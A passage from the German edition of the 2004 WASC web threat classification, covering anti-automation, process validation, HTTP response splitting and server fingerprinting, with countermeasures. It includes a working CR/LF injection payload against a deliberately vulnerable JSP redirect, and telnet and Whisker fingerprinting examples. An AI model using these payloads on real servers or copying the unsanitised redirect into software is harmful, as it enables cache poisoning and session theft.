erreichbar ist.
1.3
Insufficient Anti-automation
Von ungenügender Anti-Automation spricht man, wenn eine Website
einem Angreifer erlaubt Prozesse zu automatisieren, die nur manuell
ausgeführt werden sollen. Sicherheitsrelevante Websitefunktionalitäten
müssen gegen automatisierte Angriffe geschützt sein.
Automatische Robots (Programme) oder Angreifer können wiederholt
versuchen Websitefunktionalitäten auszunutzen oder das System zu
betrügen, wenn sie nicht kontrolliert werden. Ein automatischer Robot
kann potentiell tausende Requests pro Minute senden, was zu
Performance-Problemen oder zur Unerreichbarkeit des Dienstes führen
kann.
Ein automatischer Robot sollte nicht in der Lage sein, tausende neue
565
Urheberrechtlich geschützt 2004, Web Application Security Consortium.
Alle Rechte vorbehalten
Accounts in wenigen Minuten anzulegen. Genauso wenig sollte es für
automatische Robots möglich sein, Benutzer mit wiederholten
Meldungen zu belästigen. Solche Operationen sollten auf menschliche
Benutzer beschränkt sein.
Referenzen
Telling Humans Apart (Automatically)
http://www.captcha.net/
„Ravaged by Robots!”, By Randal L. Schwartz
http://www.webtechniques.com/archives/2001/12/perl/
„.Net Components Make Visual Verification Easier”, By JingDong
(Jordan) Zhang
http://go.cadwire.net/?3870,3,1
„Vorras Antibot”
http://www.vorras.com/products/antibot/
„Inaccessibility of Visually-Oriented Anti-Robot Tests”
http://www.w3.org/TR/2003/WD-turingtest-20031105/
1.4
Insufficient Process Validation
Von ungenügender Prozessvalidation spricht man, wenn eine Website
einem Angreifer erlaubt, den vorgesehenen Anwendungsablauf zu
umgehen. Wenn der Zustand des Anwendungsablaufs während des
Prozesses nicht überprüft und erzwungen wird, dann kann eine Website
anfällig für Betrug und Täuschung sein.
Wenn ein Benutzer eine bestimmte Funktion einer Website ausführt,
erwartet die Anwendung, dass der Benutzer in einer bestimmten
Reihenfolge durch die Anwendung navigiert. Wenn der Benutzer
bestimmte Schritte nicht oder in falscher Reihenfolge ausführt, dann
kann dies zu einem Fehler in der Datenintegrität führen. Beispiele für
Anwendungsablauf, die in mehreren Schritten erfolgen sind: PasswortWiederherstellung, Kaufaufträge, Benutzerregistrierung, usw.. Diese
Prozesse werden bestimmt erwarten, dass die erforderlichen Schritte in
der richtigen Reihenfolge ausgeführt werden.
575
Urheberrechtlich geschützt 2004, Web Application Security Consortium.
Alle Rechte vorbehalten
Damit Prozesse mit mehreren Schritten richtig funktionieren, müssen
Websites den Zustand (state) des Benutzers festhalten, den der
Benutzer gerade im Anwendungsablauf hat. Websites „verfolgen“
(track) einen Benutzerzustand mit Hilfe von Cookies oder hiddenForm-Feldern. Auch wenn dieses Tracking clientseitig im Browser
gespeichert wird, muss die Integrität dieser Daten überprüft werden.
Wenn nicht, dann kann ein Angreifer den erwarteten Anwendungsablauf
durch Änderung des aktuellen Zustandswertes umgehen.
Beispiel
In einem Online-Shop wird dem Benutzer ein Rabatt angeboten, wenn
Produkt A gekauft wird. Der Benutzer will aber nicht Produkt A, sondern
Produkt B kaufen. Wenn der Einkaufswagen mit Produkt A und Produkt
B gefüllt wird, dann erhält der Benutzer beim Bezahlen den Rabatt. Der
Benutzer bricht aus dem Bezahlprozess aus, indem er Produkt A
entfernt oder einfach die Werte ändert bevor der nächste Schritt
ausgeführt wird. Der Benutzer kommt dann wieder zum Bezahlprozess
und hat den Rabatt, der bereits im vorherigen Bezahlprozess mit
Produkt A erhalten hat. Er erhält so auf betrügerische Art einen
niedrigeren Preis.
Referenzen
„Dos and Don’ts of Client Authentication on the Web”, Kevin Fu,
Emil Sit, Kendra Smith, Nick Feamster - MIT Laboratory for
Computer Science
http://cookies.lcs.mit.edu/pubs/webauth:tr.pdf
Kontakt
Web Application Security Consortium http://www.webappsec.org
Allgemeine Anfragen bitte per E-Mail an
[email protected] .Anhang
Es gibt verschiedene Angriffs-Methoden auf Webanwendungen, die wir
zur Zeit noch nicht klassifiziert haben. Im Anhang findet sich eine
Zusammenfassung, die einige dieser Methoden beschreibt. Diese
Punkte werden in Version 2 der Threat Classification systematisch
behandelt.
585
Urheberrechtlich geschützt 2004, Web Application Security Consortium.
Alle Rechte vorbehalten
1 HTTP-Response-Splitting
Beim HTTP-Response-Splitting-Angriff sind immer (mindestens) 3
Seiten beteiligt:
 Webserver, der eine Schwachstelle hat, die HTTP-ResponseSplitting erlaubt.
 Target – ein System, das mit dem Webserver möglicherweise an
Stelle des Angreifers kommuniziert. Typische Systeme sind
Cache-Server (forward/reverse proxy) oder ein Browser
(möglicherweise mit Browsercache).
 Angreifer – initiiert den Angriff.
Das Ergebnis einen HTTP-Response-Splitting ist, dass der Angreifer in
der Lage ist, einen einzelnen HTTP-Request zu senden, der den
Webserver dazu veranlasst eine Ausgabe zu erzeugen, die anstatt der
normalen Response vom Target als zwei HTTP-Responses verstanden
werden. Die erste Response kann teilweise vom Angreifer kontrolliert
werden, ist aber weniger interessant. Entscheidend ist, dass der
Angreifer die zweite Response vollständig – von der HTTP-Statuszeile
bis zum letzen Byte des HTTP-Response-Bodys – kontrolliert. Wenn
das möglich ist, erreicht der Angreifer, dass das Target durch den
Angriff 2 Requests sendet. Der Erste veranlasst den Webserver zwei
Responses zu senden, während der zweite Request normalerweise für
irgendeine „unsinnige” Resource des Webserver ist.
Dennoch wird der zweite HTTP-Response vom Target dem zweiten
HTTP-Request zugeordnet, welcher vollständig vom Angreifer
kontrolliert wird. Darum versucht der Angreifer das Target glauben zu
machen, dass eine bestimmte Resource auf dem Webserver (bestimmt
durch den zweiten Request) die HTTP-Response (Serverinhalt) ist,
während die zweite Response in Wirklichkeit Daten verschickt, die
durch den Angreifer mittels des Webservers gefälscht wurden.
HTTP-Response-Splitting-Angriffe finden dort statt, wo Server-Skripte
Benutzerdaten in HTTP-Response-Header einbauen. Das passiert
normalerweise, wenn das Skript Benutzerdaten in eine Redirection-URL
einer Redirection-Response (HTTP-Status-Code 3xx) einbauen, oder
wenn das Skript Benutzerdaten in einen Cookiewert oder -namen
einbaut und die Response dann ein Cookie setzt.
595
Urheberrechtlich geschützt 2004, Web Application Security Consortium.
Alle Rechte vorbehalten
Im ersten Fall ist die Redirection-URL Teil des Location-Headers der
HTTP-Response und im zweiten Fall ist der Cookiename, -wert Teil des
Set-Cookie-Headers der HTTP-Response.
Der Angriffs besteht im Wesentlichen darin, CR und LF so einzubauen,
dass eine zweite HTTP-Message erzeugt wird wo nur eine von der
Anwendung vorgesehen war. CR/LF-Injection wird auch bei
verschiedenen anderen Angriffen benutzt, die die Daten einer einzelnen
HTTP-Response ändern, die von einer Anwendung gesendet wird (z. B.
[2]), aber in diesem Fall ist die Rolle der CR/LF etwas anders – sie
sollen die erste (geplante) HTTP-Response abschließen und eine
andere (vollständig durch den Angreifer kontrollierte und vollständig
durch die Anwendung erzeugte) HTTP-Response erzeugen (daher der
Name des Angriffs).
Diese Injektion ist möglich, wenn die Anwendung (die im Webserver
läuft) Benutzerdaten in eine Redirection, ein Cookie oder andere HTTPResponse-Header ungeprüft einbaut.
Mit HTTP-Response-Splitting ist es möglich verschiedene Angriffe zu
starten:
 Cross-Site-Scripting (XSS): bisher war es unmöglich XSS-Angriffe
mit Redirection-Skripten, die alle Location-Header kontrollieren,
von Sites auszuführen, wenn der Clients den IE benutzt. Dieser
Angriff macht es möglich.
 Web-Cache-Poisoning (defacement): Das ist ein neuer Angriff. Der
Angreifer zwingt das Target (z. B. ein Cache-Server einer
bestimmten Art – der Angriff wurde erfolgreich mit Squid 2.4,
NetCache 5.2, Apache Proxy 2.0 und ein paar anderer CacheServern durchgeführt) einfach die zweite Response als Antwort auf
den zweiten Request zu speichern. Zum Beispiel sendet man
einen zweiten Request an http://web.site/index.html, und
zwingt so das Target (Cache-Server) die zweite Response, die
vollständig vom Angreifer kontrolliert ist, im Cache zu speichern.
Dies ist tatsächlich ein Defacement der Website, zumindest wird
dies so von anderen Clients, die denselben Cache-Server
benutzen, empfunden. Natürlich kann der Angreifer zusätzlich zum
Defacement auch noch Session-Cookies stehlen oder sie zu
vordefinierten Werten „fixieren”.
 Cross User attacks (ein User, eine Seite, temporäres
605
Urheberrechtlich geschützt 2004, Web Application Security Consortium.
Alle Rechte vorbehalten
Defacement): Mit einer Variante des Angriffs ist der Angreifer nicht
in der Lage den zweiten Request zu senden. Das sieht zunächst
merkwürdig aus, aber die Idee ist, dass in einigen Fällen das
Target dieselben TCP-Verbindungen für verschiedene Benutzer
mit dem Server teilt (das ist bei einigen Cache-Servern der Fall).
Der nächste Request des Benutzers zum Webserver durch das
Target, wird vom Target mit der zweiten Response, die der
Angreifer generiert hat, beantwortet. Das Ergebnis ist, dass der
Client der Website mit einer Resource versorgt wird, die der
Angreifer aufgebaut hat. Das ermöglicht dem Angreifer die Seite
der Website für einen einzelnen Request eines einzelnen
Benutzers zu „entstellen” (ein lokales, temporäres Defacement).
Genau wie im vorhergehenden Fall, kann der Angreifer zusätzlich
zum Defacement die Session-Cookies stehlen und/oder setzen.
 Seiten mit Benutzer-spezifischen Informationen entführen (Page
Hijacking): Mit diesem Angriff ist der Angreifer in der Lage, an
Stelle des Benutzers die Server-Response auf einen BenutzerRequest zu erhalten. Dadurch kann sich der Angreifer Zugriff auf
sensible oder geheime Benutzer-spezifische Informationen
erschleichen.
 Browser-Cache-Poisoning: Das ist ein Sonderfall von „Web Cache
Poisoning” (verifiziert mit IE 6.0). Das ist sehr ähnlich zu XSS. Bei
Beidem muss der Angreifer einzelne Clients anvisieren. Im
Gegensatz zu XSS hat dies jedoch einen Langzeiteffekt, da der
gefälschte Inhalt im Cache des Browsers bleibt.
Beispiel
Nehmen wir folgende JSP-Seite (mit der URL /redir_lang.jsp):
<%
response.sendRedirect("/by_lang.jsp?lang="+
request.getParameter("lang"));
%>
Wenn /redir_lang.jsp mit einem Parameter lang=English
615
Urheberrechtlich geschützt 2004, Web Application Security Consortium.
Alle Rechte vorbehalten
aufgerufen wird, dann wird sie umleiten (redirect) zu
/by_lang.jsp?lang=English. Eine typische Response sieht wie
folgt aus (Webserver ist BEA WebLogic 8.1 SP1 – siehe Abschnitt „Lab
Environment” in [1] für genaue Details des Server):
HTTP/1.1 302 Moved Temporarily
Date: Wed, 24 Dec 2003 12:53:28 GMT
Location: http://10.1.1.1/by_lang.jsp?lang=English
Server: WebLogic XMLX Module 8.1 SP1 Fri Jun 20
23:06:40 PDT 2003 271009 with
Content-Type: text/html
Set-Cookie:
JSESSIONID=1pMRZOiOQzZiE6Y6iivsREg82pq9Bo1ape7h4YoHZ6
2RXjApqwBE!-1251019693; path=/
Connection: Close
<html><head><title>302 Moved
Temporarily</title></head>
<body bgcolor="#FFFFFF">
<p>This document you requested has moved
temporarily.</p>
<p>It's now at <a
href="http://10.1.1.1/by_lang.jsp?lang=English">http:
//10.1.1.1/by_lang.jsp?lang=English</a>.</p>
</body></html>
Wie man sieht ist der lang-Parameter im Location-Response-Header
eingebaut.
Machen wir weiter mit dem Einbau des HTTP-Response-SplittingAngriffs. Anstatt den Wert English zu senden, senden wir einen Wert,
der URL-encoded CR/LF-Sequenzen enthält, die die aktuelle Response
beenden und eine weitere Response erzeugen. So wird es gemacht:
/redir_lang.jsp?lang=foobar%0d%0aContentLength:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContentType:%20text/html%0d%0aContentLength:%2019%0d%0a%0d%0a<html>Shazam</html>
625
Urheberrechtlich geschützt 2004, Web Application Security Consortium.
Alle Rechte vorbehalten
Das resultiert darin, dass der Webserver folgenden Datenstrom über die
TCP-Verbindungen sendet:
HTTP/1.1 302 Moved Temporarily
Date: Wed, 24 Dec 2003 15:26:41 GMT
Location: http://10.1.1.1/by_lang.jsp?lang=foobar
Content-Length: 0
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 19
<html>Shazam</html>
Server: WebLogic XMLX Module 8.1 SP1 Fri Jun 20
23:06:40 PDT 2003 271009 with
Content-Type: text/html
Set-Cookie:
JSESSIONID=1pwxbgHwzeaIIFyaksxqsq92Z0VULcQUcAanfK7In7
IyrCST9UsS!-1251019693; path=/
[...]
Erklärung: dieser TCP-Datenstrom wird vom Target wie folgt
interpretiert:
 blau eingefärbt: die erste HTTP-Response mit einer 302(Redirection)-Response.
 rot eingefärbt: die zweite HTTP-Response ist eine 200-Response,
deren Inhalt 19 Bytes HTML umfasst.
 schwarz eingefärbt: überflüssige Daten – alles hinter dem zweiten
Response ist überflüssigund entspricht nicht dem HTTP-Standard.
Wenn der Angreifer das Target mit zwei Requests versorgt, wobei der
erste folgende URL ist:
/redir_lang.jsp?lang=foobar%0d%0aContentLength:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContentType:%20text/html%0d%0aContentLength:%2019%0d%0a%0d%0a<html>Shazam</html>
635
Urheberrechtlich geschützt 2004, Web Application Security Consortium.
Alle Rechte vorbehalten
und der zweite die URL:
/index.html
dann glaubt das Target, dass die erste Response zum ersten Request
gehört:
HTTP/1.1 302 Moved Temporarily
Date: Wed, 24 Dec 2003 15:26:41 GMT
Location: http://10.1.1.1/by_lang.jsp?lang=foobar
Content-Length: 0
Und die zweite Response (für /index.html) wird dem zweiten Request
zugeordnet:
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 19
<html>Shazam</html>
Und so schafft es der Angreifer das Target zu verwirren.
Nun ist dieses Beispiel, wie auch in [1] erklärt, sehr einfach. Es
berücksichtigt nicht die Probleme, wie einige Targets den TCPDatenstrom verarbeiten, Probleme mit den überflüssigen Daten,
Probleme mit Data-Injection und wie das Caching erzwungen werden
kann. Das und Vieles mehr ist in [1] im „practical consideration”
Abschnitt beschrieben.
Lösung
Eingabedaten prüfen! CRs und LFs (und alle anderen gefährlichen
Zeichen) entfernen bevor Daten in irgendeinen HTTP-ResponseHeader eingebaut werden, insbesondere wenn Cookies gesetzt werden
und/oder umgeleitet (redirect) wird. Es ist möglich Zusatzprodukte zu
verwenden, um sich gegen CR/LF-Injection zu schützen. Sie können
645
Urheberrechtlich geschützt 2004, Web Application Security Consortium.
Alle Rechte vorbehalten
auch verwendet werden, um die Anwendung vor dem Einsatz in der
Produktion auf solche Sicherheitslücken zu testen.
Weitere Empfehlungen sind:
 sicherstellen, dass die neueste Version der Anwendung verwendet
wird
 sicherstellen, dass die Anwendung nur über eine eindeutige IPAdresse erreicht werden kann (dieselbe IP sollte nicht für andere
Anwendungen verwendet werden, z. B. bei Virtual-Hosts).
Referenzen
[1] „Divide and Conquer – HTTP Response Splitting, Web Cache
Poisoning Attacks, and Related Topics“ by Amit Klein,
http://www.sanctuminc.com/pdf/whitepaper_httpresponse.pdf
[2] „CRLF Injection” by Ulf Harnhammar (BugTraq posting),
http://www.securityfocus.com/archive/1/271515
2 Web Server/Application Fingerprinting
Webserver-, Webapplication-Fingerprinting ist seinem Vorgänger
TCP/IP-Fingerprinting ähnlich. Der Unterschied ist, dass es sich auf den
Application-Layer des OSI-Model anstatt auf den Transport-Layer
bezieht.
Der Gedanke hinter Webserver-, Webapplication-Fingerprinting ist ein
genaues Profil der Software des Targets, dessen Konfiguration und
möglicherweise sogar der Netzwerk-Architektur/Topologie zu erzeugen.
Dies geschieht durch Analyse von:
 Implementierung unterschiedlicher HTTP Protokolle
 HTTP-Response-Headers
 Dateinamenserweiterungen (.asp vs. jsp)
 Cookies (ASPSESSION)
 (standard) Fehlerseiten (error pages)
 Verzeichnisstrukturen und Namenskonventionen (Windows/Unix)
 Webentwickler-Interfaces (Frontpage, WebPublisher)
 Webadministrator-Interfaces (iPlanet, Comanche)
655
Urheberrechtlich geschützt 2004, Web Application Security Consortium.
Alle Rechte vorbehalten
 unpassendes OS-Fingerprinting (IIS auf Linux?)
Das normale Ziel des Angreifers ist, den Webaufritt des Targets zu
identifizieren und so viele Information wie möglich zu erhalten. Mit
dieser Information kann der Angreifer ein genaues Angriffszenario
entwickeln, welches effektiv die Schwachstelle in des Softwaretyps und
-Version des Angriffsziels ausnutzt.
Die genaue Ermittlung dieser Informationen ist für mögliche
Angriffsmethoden von großer Bedeutung, da viele
Sicherheitsschwachstellen (wie Buffer-Overflows, etc.) in höchstem
Maß von einzelnen Software-Herstellern und -Versionsnummern
abhängen. Zusätzlich reduziert die korrekte Identifizierung der
Softwareversion und Auswahl eines geeigneten Exploits das erzeugte
Aufsehen, z. B. in Logdateien, („noise”) des Angriffs, während
gleichzeitig die Wirksamkeit erhöht wird. Ein Webserver, eine
Webanwendung, die sich so offensichtlich selbst identifiziert, fordert
geradezu Schwierigkeiten heraus.
In der Tat wird dieser Punkt bereits im HTTP-RFC 2068 beschrieben
und fordert die Webadministratoren auf, die Softwareversion, die im
Response-Header des Servers verwendet wird, zu verstecken:
„Note: Revealing the specific software version of the server may
allow the server machine to become more vulnerable to attacks
against software that is known to contain security holes. Server
implementers are encouraged to make this field a configurable
option.”
Durch Verknüpfung der Informationen aus verschiedenen InformationDisclosure-Kategorien ist es möglich auf Typ und Version der Software,
die von einem Webserver, einer Webanwendung benutzt wird, zu
folgern, Auf Grund dieser Tatsache werden wir uns auf die Analyse der
HTTP-Protokoll-Implementierung heutiger Fingerprinting-Tools
beschränken.
Beispiel
Alle Beispiele unten zeigen Analysemethoden der Zusammensetzung
und Interpretation eines HTTP-Requests eines Webservers.
665
Urheberrechtlich geschützt 2004, Web Application Security Consortium.
Alle Rechte vorbehalten
Implementierungs-Unterschiede des HTTP Protokolls
Lexical – Die Kategorie der lexikalischen Eigenschaften beschreibt
Varianten der verwendeten Wörter, Groß-, Kleinschreibung und
Punktion, die im HTTP-Response-Header gezeigt wird.
Response Code Message – Der Errorr-Code 404 liefert z. B. beim
Apache Not Found, wogegen ein Microsoft IIS/5.0 Object Not
Found liefert:
Apache 1.3.29 - 404
Microsoft-IIS/4.0 - 404
# telnet target1.com 80
# telnet target2.com 80
Trying target1.com...
Trying target2.com...
Connected to
target1.com.
Connected to
target2.com.
Escape character is
'^]'.
Escape character is
'^]'.
HEAD /non-existentfile.txt HTTP/1.0
HEAD /non-existentfile.txt HTTP/1.0
HTTP/1.1 404 Not Found
HTTP/1.1 404 Object Not
Found
Date: Mon, 07 Jun 2004
14:31:03 GMT
Server: MicrosoftIIS/4.0
Server: Apache/1.3.29
(Unix) mod_perl/1.29
Date: Mon, 07 Jun 2004
14:41:22 GMT
Connection: close
Content-Type:
text/html; charset=iso8859-1
Content-Length: 461
Content-Type: text/html
Connection closed by
675
Urheberrechtlich geschützt 2004, Web Application Security Consortium.
Alle Rechte vorbehalten
foreign host.
Connection closed by
foreign host.
Header Wörter - Der Header Content-Length vs. Content-length
wird geliefert:
Netscape-Enterprise/6.0
– HEAD
Microsoft-IIS/4.0 HEAD
# telnet target1.com 80
# telnet target2.com 80
Trying target1.com...
Trying target2.com...
Connected to
target1.com.
Connected to
target2.com.
Escape character is
'^]'.
Escape character is
'^]'.
HEAD / HTTP/1.0
HEAD / HTTP/1.0
HTTP/1.1 200 OK
HTTP/1.1 404 Object Not
Found
Server: NetscapeEnterprise/6.0
Server: MicrosoftIIS/4.0
Date: Mon, 07 Jun 2004
14:55:25 GMT
Date: Mon, 07 Jun 2004
15:22:54 GMT
Content-length: 26248
Content-type: text/html
Content-Length: 461
Content-Type: text/html
Accept-ranges: bytes
Connection closed by
foreign host.
Connection closed by
685
Urheberrechtlich geschützt 2004, Web Application Security Consortium.
Alle Rechte vorbehalten
foreign host.
Syntax – Gemäß HTTP-RFC müssen alle Webkommunikationen eine
bestimmte definierte Struktur haben und so aufgebaut sein, dass beide
Seiten sich verstehen können. Trotzdem existieren Variationen in der
Reihenfolge und der Formatierung der HTTP-Response-Header.
Reihenfolge der Header – Apache-Server schreiben den Date-Header
übereinstimmend vor dem Server-Header, während Microsoft-IIS dies
umgekehrt macht:
Apache 1.3.29– HEAD
Microsoft-IIS/4.0 HEAD
# telnet target1.com 80
# telnet target2.com 80
Trying target1.com...
Trying target2.com...
Connected to
target1.com.
Connected to
target2.com.
Escape character is
'^]'.
Escape character is
'^]'.
HEAD / HTTP/1.0
HEAD / HTTP/1.0
HTTP/1.1 200 OK
HTTP/1.1 404 Object Not
Found
Date: Mon, 07 Jun 2004
15:21:24 GMT
Server: MicrosoftIIS/4.0
Server: Apache/1.3.29
(Unix) mod_perl/1.29
Date: Mon, 07 Jun 2004
15:22:54 GMT
Content-Location:
index.html.en
Content-Length: 461
Vary: negotiate,acceptlanguage,
Content-Type: text/html
695
Urheberrechtlich geschützt 2004, Web Application Security Consortium.
Alle Rechte vorbehalten
accept-charset
Connection closed by
foreign host.
TCN: choice
Last-Modified: Fri, 04
May 2001 00:00:38 GMT
ETag: "4de14-5b03af1f126;40a4ed5d"
Accept-Ranges: bytes
Content-Length: 1456
Connection: close
Content-Type: text/html
Content-Language: en
Expires: Mon, 07 Jun
2004 15:21:24 GMT
Connection closed by
foreign host.
Reihenfolge der Auflistung - Wenn eine OPTIONS-Methode als
Request gesendet wird, dann wird mit einer Liste der erlaubten
Methoden für die angegeben URI im Allow-Header geantwortet.
Apache liefert nur einen Allow-Header, während IIS auch einen
Public-Header liefert:
Apache 1.3.29– OPTIONS
Microsoft-IIS/5.0 OPTIONS
# telnet target1.com 80
# telnet target2.com 80
Trying target1.com...
Trying target2.com...
Connected to
Connected to
705
Urheberrechtlich geschützt 2004, Web Application Security Consortium.
Alle Rechte vorbehalten
target1.com.
target2.com.
Escape character is
'^]'.
Escape character is
'^]'.
OPTIONS * HTTP/1.0
OPTIONS * HTTP/1.0
HTTP/1.1 200 OK
HTTP/1.1 200 OK
Date: Mon, 07 Jun 2004
16:21:58 GMT
Server: MicrosoftIIS/5.0
Server: Apache/1.3.29
(Unix) mod_perl/1.29
Date: Mon, 7 Jun 2004
12:21:38 GMT
Content-Length: 0
Content-Length: 0
Allow: GET, HEAD,
OPTIONS, TRACE
Accept-Ranges: bytes
DASL: <DAV:sql>
Connection: close
DAV: 1, 2
Public: OPTIONS, TRACE,
GET, HEAD, DELETE, PUT,
POST, COPY, MOVE,
MKCOL, PROPFIND,
PROPPATCH, LOCK,
UNLOCK, SEARCH
Connection closed by
foreign host.
Allow: OPTIONS, TRACE,
GET, HEAD, DELETE, PUT,
POST, COPY, MOVE,
MKCOL, PROPFIND,
PROPPATCH, LOCK,
UNLOCK, SEARCH
Cache-Control: private
715
Urheberrechtlich geschützt 2004, Web Application Security Consortium.
Alle Rechte vorbehalten
Connection closed by
foreign host.
Semantik – Neben den Wörtern und Informationen, die in der HTTPResponse geliefert werden, gibt es offensichtliche Unterschiede darin,
wie Webserver richtige und falsche (nicht Standard-konforme) Requests
bearbeiten.
Erscheinen spezieller Header - Ein Server kann selbst entscheiden,
welche Header in die Response eingebaut werden. Während einige
Header von der Spezifikation vorgeschrieben sind, sind die meisten
Header (z. B. ETag) optional. In den Beispielen unten ist zu sehen, dass
ein Apache mit zusätzliche Headern wie: ETag, Vary und Expires
antwortet, während ein IIS diese nicht tut:
Apache 1.3.29– HEAD
Microsoft-IIS/4.0 HEAD
# telnet target1.com 80
# telnet target2.com 80
Trying target1.com...
Trying target2.com...
Connected to
target1.com.
Connected to
target2.com.
Escape character is
'^]'.
Escape character is
'^]'.
HEAD / HTTP/1.0
HEAD / HTTP/1.0
HTTP/1.1 200 OK
HTTP/1.1 404 Object Not
Found
Date: Mon, 07 Jun 2004
15:21:24 GMT
Server: MicrosoftIIS/4.0
Server: Apache/1.3.29
(Unix) mod_perl/1.29
Date: Mon, 07 Jun 2004
15:22:54 GMT
Content-Location:
725
Urheberrechtlich geschützt 2004, Web Application Security Consortium.
Alle Rechte vorbehalten
index.html.en
Content-Length: 461
Vary: negotiate,acceptlanguage,
Content-Type: text/html
accept-charset
Connection closed by
foreign host.
TCN: choice
Last-Modified: Fri, 04
May
2001 00:00:38 GMT
ETag: "4de14-5b03af1f126;40a4ed5d"
Accept-Ranges: bytes
Content-Length: 1456
Connection: close
Content-Type: text/html
Content-Language: en
Expires: Mon, 07 Jun
2004 15:21:24 GMT
Connection closed by
foreign host.
Response-Codes für abnormale Requests – Obwohl dieselben
Request dem Ziel-Webservers gesendet werden, kann es sein, dass sie
unterschiedlich interpretiert werden und darum unterschiedliche
Response-Codes erzeugen. Ein perfektes Beispiel für diese semantisch
unterschiedliche Interpretation ist der „Light Fingerprinting”-Check, die
der Scanner Whisker macht.
Der Ausschnitt des Perl-Codes unten, der von der main.test-Datei von
735
Urheberrechtlich geschützt 2004, Web Application Security Consortium.
Alle Rechte vorbehalten
Whisker 2.1 stammt, macht 2 Tests, um festzustellen, dass das Ziel
wirklich ein Apache-Server ist, egal was der Banner Glauben macht.
Der erste Request ist ein „GET //” und wenn der HTTP-Status-Code
200 ist, dann wird der nächste Request gesendet. Der zweite Request
ist „GET/%2f”, welcher URI-encoded ist – und zu „GET //” wird.
Diesmal antwortet Apache mit HTTP-Status-Code 404 – Not Found.
Andere Webservers – IIS – liefern nicht denselben Status-Code für
diesen Requests:
# now do some light fingerprinting...
-- CUT -my $Aflag=0;
$req{whisker}->{uri}='//';
if(!_do_request(\%req,\%G_RESP)){
_d_response(\%G_RESP);
if($G_RESP{whisker}->{code}==200){
$req{whisker}->{uri}='/%2f';
if(!_do_request(\%req,\%G_RESP)){
_d_response(\%G_RESP);
$Aflag++ if($G_RESP{whisker}>{code}==404);
}
}
}
m_re_banner('Apache',$Aflag);
Testet man mit Whisker die Ziel-Website, dann zeigt der Report auf
Grund des vorherigen Tests, dass der Webserver wirklich ein ApacheServer ist. Unten ist ein Beispielabschnitt eines Whisker-Reports:
-----------------------------------------Title: Server banner
Id: 100
Severity: Informational
The server returned the following banner:
Microsoft-IIS/4.0
-----------------------------------------Title: Alternate server type
745
Urheberrechtlich geschützt 2004, Web Application Security Consortium.
Alle Rechte vorbehalten
Id: 103
Severity: Informational
Testing has identified the server might be an 'Apache' server.
This
Change could be due to the server not correctly identifying
itself (the
Admins changed the banner).
server type
Tests will now check for this
as well as the previously identified server types.
------------------------------------------
Das sagt dem Angreifer nicht nur, dass die Webserver-Administratoren
geschickt genug sind den Server-Banner zu ändern, sondern auch,
dass Whisker alle Apache Versionen in seinen Scans testet, was die
Genauigkeit erhöht.
Lösungen
Es ist nicht möglich, jedes einzelne Informationsstück, das der
Webserver anbietet, zu ändern. Darum wird ein gezielter Angriff in der
Lage sein, die Webserver-Software zu erkennen. Das Ziel sollte sein,
die Hürden für das Auskundschaften so zu erhöhen, dass bei jedem
versuchten Angriff ein Sicherheitsalarm ausgelöst wird. Die Tipps unten
sollen helfen, dieses Ziel zu erreichen. Die Lösungen sind unten nach
ihrem Schwierigkeitsgrad zur Implementierung aufgelistet.
Ändern der Server-Banner-Information
Es ist möglich das Server-Feld, welches im Response-Header des
Webservers gezeigt wird, zur Verschleierung zu entfernen oder zu
ändern.
Es gab viele Debatten in Web-Sicherheitskreisen wie viel Sicherheit
man durch Ändern der HTTP-Server-Banner erreichen kann. Wenn man
nur den Banner alleine ändert und keine weiteren Schritte unternimmt,
um die Softwareversion zu verstecken, dann bietet dies möglicherweise
755
Urheberrechtlich geschützt 2004, Web Application Security Consortium.
Alle Rechte vorbehalten
nicht viel Sicherheit, und hält keinen Angreifer davon ab, aktiv
Erkundungen einzuleiten. Allerdings ist es hinsichtlich der Abwehr
automatischer Wurm-Programme hilfreich und auch sinnvoll, da immer
mehr Würmer zur Masseninfektion von Systemen verwendet werden.
Diese Maßnahmen können Unternehmen einige Zeitvorteile bringen,
um Systeme zu patchen und dadurch vor neuen Würmern zu schützen.
Apache Server – ModSecurity kann mit der SecServerSignatureKonfiguration den Server-Banner in der httpd.conf-Datei ändern, ohne
dass der Sourcecode des Apache vor der Kompilation geändert werden
muss.
IIS Server – Durch Installation der Tools IISLockDown und URLScan
kann der Banner, der den Clients gesendet wird, geändert werden.
Minimierung der Informationen in den Headern
Die Menge der Information, die in den Response-Headers geliefert
werden, reduzieren. Apache z. B. erlaubt dem Administrator den Inhalt
des Server-Banner-Tokens durch Ändern der ServerTokens-Directive in
der httpd.conf zu bestimmen:
ServerTokens Prod[uctOnly]
der Server sendet z. B.: Server: Apache
ServerTokens Min[imal]
der Server sendet z. B.: Server: Apache/1.3.0
ServerTokens OS
der Server sends z. B.: Server: Apache/1.3.0 (Unix)
ServerTokens Full (or not specified)
der Server sendet z. B.: Server: Apache/1.3.0 (Unix) PHP/3.0
MyMod/1.2
Durch Minimierung des Headers, kann man Information wie z. B.
zusätzliche installierte Apache-Module verstecken.
Verwendung irreführender Header
Eine andere Methode, um Webserver-Fingerprinting in die Irre zu
führen, ist eine gefälschte Web-Topologie zu zeigen. Angreifer
765
Urheberrechtlich geschützt 2004, Web Application Security Consortium.
Alle Rechte vorbehalten
verwenden normalerweise Banner-Grabbing-Sessions als Teil des
gesamten Fingertprinting-Prozesses. Der Angreifer versucht mit
Fingerprinting die Architektur des Ziels herauszufinden. Durch
Hinzufügen zusätzlicher falscher Header, können wir eine komplexe
Web-Umgebung simulieren (I.E.- DMZ). Durch Hinzufügen zusätzlicher
Header simulieren wir das Vorhandensein eines Reverse-Proxyservers,
wir erwecken den Anschein einer komplexen Architektur.
Für Apache-Server können wir folgende Einträge in httpd.conf machen,
um dies zu erreichen:
Header set Via „1.1 squid.proxy.companyx.com
(Squid/2.4.STABLE6)”
ErrorHeader set Via „1.1 squid.proxy.companyx.com
(Squid/2.4.STABLE6)”
Header set X-Cache „MISS from www.nonexistenthost.com”
ErrorHeader set X-Cache „MISS from www.nonexistenthost.com”
Diese Einträge fügen den „Via”- und „X-Cache” HTTP-ResponseHeader in alle Responses wie unten gezeigt ein:
# telnet localhost 80
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
HEAD / HTTP/1.0
HTTP/1.1 200 OK
Server: Microsoft-IIS/4.0
Date: Sun, 30 Mar 2003 21:59:46 GMT
Content-Location: index.html.en
